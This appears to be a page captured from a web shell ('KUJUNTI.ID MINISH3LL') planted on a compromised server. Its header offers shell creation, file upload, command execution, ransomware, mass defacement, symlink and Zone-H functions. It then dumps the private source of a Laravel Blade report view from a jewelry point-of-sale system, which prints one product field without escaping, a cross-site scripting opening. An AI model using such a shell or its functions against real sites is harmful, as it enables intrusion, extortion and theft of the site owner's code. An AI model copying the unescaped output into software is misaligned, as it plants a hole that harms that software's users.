KUJUNTI.ID MINISH3LL
Path : /var/www/html/jewelry-pos/resources/views/grn-reports/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/jewelry-pos/resources/views/grn-reports/index.blade.php


@extends('layouts.admin-main')
@section('content')
    <div class="col-lg-12">
        <div class="card-body shadow-1">
            <div class="row mt-2 mr-1">
                <div class="col-xs-8 col-md-8 col-sm-8 col-xl-7 margin-tb mb-4" style="display: flex;justify-content: start;align-items: center">
                    <form method="GET" action="{{ route('grn-report.index') }}?q={{$q}}&paginate={{$paginate}}" class="" id="search-form" onsubmit="" style="display: flex;justify-content: start;align-items: center;width: 100%;">
                        <div class="input-group mr-2" style="width: 50%;">
                            <input type="text" class="form-control rounded-0"
                                   placeholder="{{ __('message.search') }} ..." value="{{$q}}" name="q" id="search">
                            <div class="input-group-append">
                                <button type="submit" class="input-group-text fs-xl">
                                    <i class="fal fa-search text-success"></i>
                                </button>
                            </div>
                        </div>
                        <input type="hidden" name="paginate" value="{{$paginate}}">
                        <div style="width: 25%;">
                            <button type="submit" class="btn btn-outline-success mr-2" style="width: 80%;">
                                <i class="fal fa-search text-outline-success"></i>
                                <span class="hidden-xs"> {{ __('message.search') }}</span>
                            </button>
                        </div>
{{--                        <div class="input-group mr-4" style="width: 40%">--}}
{{--                            <input type="text" class="form-control rounded-0"--}}
{{--                                   placeholder="{{ __('message.select') }}" id="datepicker" name="date" readonly>--}}
{{--                            <input type="hidden" name="paginate" value="{{$paginate}}">--}}
{{--                            <div class="input-group-append">--}}
{{--                            <span class="input-group-text fs-xl">--}}
{{--                                <i class="fal fa-calendar text-info "></i>--}}
{{--                            </span>--}}
{{--                            </div>--}}
{{--                        </div>--}}
                    </form>
                </div>
                <div class="col-md-8 col-xs-8 col-sm-8 col-xl-5 margin-tb mb-4">
                    <div class="row">
                        <div class="col-lg-12 col-xs-12 col-sm-12 col-md-12 col-xl-12 margin-tb" style="display: flex;justify-content: center;align-items: center">
                            @if($check == 1)
                                <a href="{{route('grn-report.print')}}?paginate={{$paginate}}&q={{$q}}"
                                   class="btn btn-info bg-info-800 float-right rounded-0"
                                   title="{{ __('message.print') }}" name="">
                                    <i class="fal fa-print"></i>
                                    {{ __('message.print') }}
                                </a>
                                <a href="{{route('grn-report.export')}}?paginate={{$paginate}}&q={{$q}}" class="btn btn-success bg-success-800 search-date m-2" id="download-button" onclick="return clickdownload()">
                                    <i class="fal fa-download"></i>
                                    {{ __('message.export excel') }}
                                </a>
                            @endif
{{--                            <a href="{{route('reports.product-qty-history-export')}}?start_date={{$start_date}}&end_date={{$end_date}}&paginate={{$paginate}}&in_out={{$in_out}}&q={{$q}}" class="btn btn-success bg-success-800 search-date ml-2" id="download-button" onclick="return clickdownload()">--}}
{{--                                <i class="fal fa-download"></i>--}}
{{--                                {{ __('message.export excel') }}--}}
{{--                            </a>--}}
                        </div>
                    </div>
                </div>
            </div>
            @if($check == 1)
                <div class="panel-container show">
                    <div class="d-flex flex-column h-100">
                        <div class="h-auto">
                            <table id="example" class="table table-striped w-100">
                                <thead class="bg-fusion-400 text-center">
                                <tr>
                                    <th>#</th>
                                    <th>{{__('message.grn')}}</th>
                                    <th>{{__('message.product category')}}</th>
                                    <th class="text-center">{{ __('message.product name') }}</th>
                                    <th>{{__('message.sales price')}}</th>
                                    <th>{{__('message.qty')}}</th>
                                    <th>{{__('message.gold weight')}}</th>
                                    <th>{{__('message.date')}}</th>
                                </tr>
                                </thead>
                                <tbody class="text-center" id="accordionExample">
                                @foreach($productQtyHistories as $index => $productQtyHistory)
                                    <tr class="text-center border-bottom @if($productQtyHistory->qty<0) inactive @endif {{+$loop->index%2!=$productQtyHistory->count()?'border-top':''}}" data-toggle="collapse" href="#row{{$loop->index}}" role="button" aria-expanded="false" aria-controls="row{{$loop->index}}">
                                        <td>
                                            {{$index+1}}
                                        </td>
                                        <td>
                                            {{$productQtyHistory->grn}}
                                        </td>
                                        <td>
                                            {{$productQtyHistory->product->productCategory->name??''}}
                                        </td>
                                        <td>
                                            {{$productQtyHistory->product->name??''}}
                                        </td>
                                        <td class="credit">
                                            {{number_format($productQtyHistory->product->sellingPrice()??0 , 2)}} {{$currency_->currency_symbol}}
                                        </td>
                                        <td class="credit">
                                            {{abs($productQtyHistory->qty)}}
                                        </td>
                                        <td>
                                            {{number_format($productQtyHistory->product->goldWeight() ,2)}}
                                        </td>
                                        <td>
                                            {{date('d-m-Y  H-i-s' , strtotime($productQtyHistory->created_at))}}
                                        </td>
                                    </tr>
                                    <tr class="bg-white">
                                        <td colspan="11">
                                            <div class="collapse multi-collapse" id="row{{$loop->index}}" data-parent="#accordionExample">
                                                <div class="panel-content">
                                                    <ul class="nav nav-tabs" role="tablist">
                                                        <li class="nav-item">
                                                            <a class="nav-link active" data-toggle="tab" href="#detail{{$loop->index}}" role="tab">{{__('message.detail')}}</a>
                                                        </li>
                                                        @if($productQtyHistory->product->diamond_size??'')
                                                            <li class="nav-item"><a class="nav-link" data-toggle="tab" href="#diamond_size{{$loop->index}}" role="tab">{{__('message.diamond size')}}</a></li>
                                                        @endif
                                                    </ul>
                                                    <div class="tab-content  border-top-0 p-3" style="border:1px solid #dee2e6!important; border-top:none !important;">
                                                        <div class="tab-pane fade show active" id="detail{{$loop->index}}" role="tabpanel">
                                                            <div class="">
                                                                <div class="card-body">
                                                                    <div class="row">
                                                                        <div class="col-3">
                                                                            @if($productQtyHistory->product->image??'')
                                                                                <img class="rounded" id="myImg{{$index}}" src="{{asset($productQtyHistory->product->image)}}" style="width:200px;max-width:300px;cursor:pointer;">
                                                                            @else
                                                                                <img class="rounded" id="myImg{{$index}}" src="{{asset('no_image.png')}}" style="width:200px;max-width:300px;cursor:pointer;">
                                                                            @endif
                                                                        </div>
                                                                        <div class="col-xs-4 col-sm-6 col-md-6 col-xl-3">
                                                                            <div class="row mb-3">
                                                                                <div class="col-6">
                                                                                    <p class="fw-bolder credit text-left">
                                                                                        {{__('message.cost')}}
                                                                                    </p>
                                                                                </div>
                                                                                <div class="col-6 text-left">:
                                                                                    {{number_format($productQtyHistory->product->sellingCost()??0 , 2)}} {{$currency_->currency_symbol}}
                                                                                </div>
                                                                            </div>
                                                                            <div class="row mb-3">
                                                                                <div class="col-6">
                                                                                    <p class="fw-bolder credit text-left">
                                                                                        {{__('message.wages')}} {{$productQtyHistory->product->productCategory->fixed_price||$productQtyHistory->product->fixed_price?'':'(គិតជាលី)'}}
                                                                                    </p>
                                                                                </div>
                                                                                <div class="col-6 text-left credit">:
                                                                                    @if($productQtyHistory->product->productCategory->fixed_price || $productQtyHistory->product->fixed_price)
                                                                                        {{number_format($productQtyHistory->product->wages??0 , 2)}} {{$currency_->currency_symbol}}
                                                                                    @else
                                                                                        {{number_format($productQtyHistory->product->wages_in_weight??0 , 2)}}
                                                                                    @endif
                                                                                </div>
                                                                            </div>
                                                                            <div class="row mb-3">
                                                                                <div class="col-6">
                                                                                    <p class="fw-bolder credit text-left">
                                                                                        {{__('message.original wages')}} {{$productQtyHistory->product->productCategory->fixed_price||$productQtyHistory->product->fixed_price?'':'(គិតជាលី)'}}
                                                                                    </p>
                                                                                </div>
                                                                                <div class="col-6 text-left credit">:
                                                                                    @if($productQtyHistory->product->productCategory->fixed_price || $productQtyHistory->product->fixed_price)
                                                                                        {{number_format($productQtyHistory->product->original_wages??0 , 2)}} {{$currency_->currency_symbol}}
                                                                                    @else
                                                                                        {{number_format($productQtyHistory->product->original_wages_in_weight??0 , 2)}}
                                                                                    @endif
                                                                                </div>
                                                                            </div>
                                                                            <div class="row mb-3">
                                                                                <div class="col-6">
                                                                                    <p class="fw-bolder credit text-left">
                                                                                        {{__('message.weight')}}
                                                                                    </p>
                                                                                </div>
                                                                                <div class="col-6 text-left">:
                                                                                    {{number_format($productQtyHistory->product->weight??0 ,2)}}
                                                                                </div>
                                                                            </div>
                                                                        </div>
                                                                        <div class="col-xs-8 col-sm-6 col-md-6 col-xl-4">
                                                                            <div class="row mb-3">
                                                                                <div class="col-6">
                                                                                    <p class="fw-bolder credit text-left">
                                                                                        {{__('message.note')}}
                                                                                    </p>
                                                                                </div>
                                                                                <div class="col-6 text-left">:
                                                                                    {{$productQtyHistory->note??''}}
                                                                                </div>
                                                                            </div>
                                                                            <div class="row mb-3">
                                                                                <div class="col-6">
                                                                                    <p class="fw-bolder credit text-left">
                                                                                        {{__('message.user')}}
                                                                                    </p>
                                                                                </div>
                                                                                <div class="col-6 text-left">:
                                                                                    <a href="{{route('users.show' , $productQtyHistory->user_id)}}" class="text-dark" title="{{__('message.show user')}}">
                                                                                        {{$productQtyHistory->user->name??''}}
                                                                                    </a>
                                                                                </div>
                                                                            </div>
{{--                                                                            <div class="row mb-3">--}}
{{--                                                                                <div class="col-6">--}}
{{--                                                                                    <p class="fw-bolder credit text-left">--}}
{{--                                                                                        {{__('message.updated at')}}--}}
{{--                                                                                    </p>--}}
{{--                                                                                </div>--}}
{{--                                                                                <div class="col-6 text-left">:--}}
{{--                                                                                    {{date('d-m-Y  H-i-s' , strtotime($productQtyHistory->created_at))}}--}}
{{--                                                                                </div>--}}
{{--                                                                            </div>--}}
                                                                            <div class="row mb-3">
                                                                                <div class="col-6">
                                                                                    <p class="fw-bolder credit text-left">
                                                                                        {{__('message.action')}}
                                                                                    </p>
                                                                                </div>
                                                                                <div class="col-6 text-left">:
                                                                                        <?php
                                                                                        $ago = \Carbon\Carbon::parse($productQtyHistory->created_at)->diffForHumans();
                                                                                        $currentDate = \Carbon\Carbon::now();
                                                                                        $created_at = \Carbon\Carbon::parse($productQtyHistory->created_at)->addDays(1);
                                                                                        ?>
                                                                                    @if($created_at->gt($currentDate))
                                                                                        @can('product-delete')
                                                                                            <form method="POST" action="{{route('grn-report.destroy' , $productQtyHistory->id)}}?q={{$q}}" style="display:inline">
                                                                                                <input name="_method" type="hidden" value="DELETE">
                                                                                                {{ csrf_field() }}
                                                                                                <button type="submit" class="btn btn-xs btn-danger"
                                                                                                        onclick="return confirm('{{ __('message.do you want to delete') }}?')">
                                                                                                    <i class="fal fa-trash" style="color: #FFF;"></i>
                                                                                                </button>
                                                                                            </form>
                                                                                            <br>
                                                                                        @endcan
                                                                                    @else
                                                                                        <span class="badge badge-pill badge-danger" style="font-size: 10px">
                                                                                            {{Carbon\Carbon::parse($productQtyHistory->created_at)->diffForHumans()}}
                                                                                        </span>
                                                                                    @endif
                                                                                </div>
                                                                            </div>
                                                                        </div>
                                                                    </div>
                                                                </div>
                                                            </div>
                                                        </div>

                                                        <div class="tab-pane fade text-left" id="diamond_size{{$loop->index}}" role="tabpanel">
                                                            {!!$productQtyHistory->product->diamond_size??''!!}
                                                        </div>
                                                    </div>
                                                </div>
                                            </div>
                                        </td>
                                    </tr>
                                @endforeach
                                </tbody>
                            </table>
                            <!-- datatable end -->
                        </div>
                    </div>
                </div>
                <!-- Pagination bootstrap-->
                @if($productQtyHistories->hasPages())
                    <div class="d-flex m-2 p-2" style="justify-content: space-between;align-items: start;width: 20%">


                            <select id="paginate" class="form-select text-center rounded mr-2 mt-1"  aria-label="Default select example" style="width: 90px;font-size: 12px;border: 1px solid rebeccapurple">
                                <option selected hidden="hidden">{{$paginate}}</option>
                                <option value="25">25</option>
                                <option value="50">50</option>
                                <option value="100">100</option>
                                <option value="250">250</option>
                                <option value="500">500</option>
                                <option value="1000">1000</option>
                            </select>
                        <div class="">
                            {{ $productQtyHistories->appends($_GET)->links() }}
                        </div>
                    </div>
                @endif
            @endif
        </div>
    </div>
@endsection
@section('scripts')
{{--    @include('app.datepicker-js-config')--}}
    <script>
        // date earchform  strt_date to EndDate

        $(document).ready(function() {
            $(".ranges > ul > li").click(function() {
                setTimeout(function() {
                    $('#search-form').submit();
                }, 100);
            });
            $("#datepicker").on("change.dp" , function (){
                $("#search-form").submit();
            });
        });
        // date
        var runDatePicker = function() {
            // enable clear button
            $('#datepicker').datepicker({
                todayBtn: "linked",
                clearBtn: true,
                todayHighlight: true,
                templates: controls
            });
        }
        // end date
    </script>
    {{--    <script>--}}
    {{--        $(document).ready(function() {--}}
    {{--            $("#js-nav-menu").removeClass('active');--}}
    {{--            $("#js-nav-menu li ul li").removeClass('active');--}}
    {{--            // $("#menu_setup_list").addClass('active open');--}}
    {{--            // $("#collapse_setup").addClass('collapse in')--}}
    {{--            // $("#menu_product").addClass('active')--}}
    {{--            $("#menu_sales").addClass('active')--}}
    {{--        })--}}
    {{--    </script>--}}
    <script>
        $('#btnBrow').click(function () {
            $('#browFile').click();
        });
        $(document).ready(function() {
            $("#js-nav-menu").removeClass('active');
            $("#js-nav-menu li ul li").removeClass('active');
            $("#menu_report_list").addClass('active open');
            $("#collapse_report").addClass('collapse in');
            $("#menu_expense_grn").addClass('active');
        })
    </script>
@endsection
@section('meta')
    <title>{{ __('message.grn report') }} - {{$settings_->shop_name}}</title>
@endsection

© KUJUNTI.ID